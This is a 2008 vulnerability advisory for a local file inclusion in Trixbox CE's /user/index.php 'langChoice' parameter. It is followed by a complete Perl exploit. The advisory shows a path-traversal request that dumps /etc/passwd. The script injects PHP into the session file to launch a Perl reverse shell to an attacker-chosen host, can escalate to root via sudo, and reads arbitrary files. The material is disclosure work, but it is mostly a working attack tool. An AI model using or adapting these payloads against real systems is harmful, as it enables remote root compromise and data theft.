I have discovered a file inclusion in Trixbox that may be exploited to
run arbitrary code and eventually obtain a root shell.
The vendor (Fonality) has been noticed about this issue. They have
fixed it and shall release a patch this week. I have already posted an
exploit (giving a shell with uid=asterisk) on www.milw0rm.com and at
securityfocus (BID=30135) but since I have figured out afterwards that
it was also possible to obtain a root shell, those exploits should be
updated:
Please find hereafter the advisory and the updated exploit:
ADVISORY:
Vulnerability Found: 7th July 2008
Vendor informed: 7th July 2008
Severity: Critical
BID: 30135
Successfully tested on: Trixbox CE 2.6.1 and below
Description:
A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.
An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.
Vulnerable server-side program: '/user/index.php'
Vulnerable parameter: 'langChoice'
Proof of concept:
COMPLETE HTTP REQUEST:
POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
langChoice=../../../../../etc/passwd%00
COMPLETE HTTP RESPONSE:
HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]
Consequences:
A remote root shell can be obtained on the affected server.
Fix:
Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.
Credits:
Jean-Michel BESNARD of LEXSI Audit.
EXPLOIT
#!/usr/bin/perl -w
# Jean-Michel BESNARD <jmbesnard_at_gmail.com> / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (<host>:<port>):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...
# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#
use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;
usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
menu();
sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");
}
sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}
sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file%00");
my @fileLines = split(/n/,$content);
my $fileContent = "Content of $file: nn";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "n";
}
return $fileContent;
}
sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e
'\$p=fork;exit,if(\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton("$rhost")));open(STDIN,
">%26S");open(STDOUT,">%26S");open(STDERR,">%26S");exec({"/bin/sh"}
("JMB", "-i"));'`;?>%00";
}else{
$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e
'\$p=fork;exit,if(\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton("$rhost")));open(STDIN,
">%26S");open(STDOUT,">%26S");open(STDERR,">%26S");exec("/usr/bin/sudo","/bin/bash",
("-i"));'`;?>%00";
}
execScript($rshell);
}
sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(w+)/){
return $1;
}
}
sub menu{
print <<EOF;
Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = <STDIN>;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(<host>:<port>): ";
my $hp=<STDIN>;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=<STDIN>;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)n";
print "Press enter to continue...";
<STDIN>;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = <STDIN>;
chop($file);
print readFile($file) . "nn";
}
}
}
}
sub usage{
print "./trixbox_fi.pl <host>n";
exit 1;
}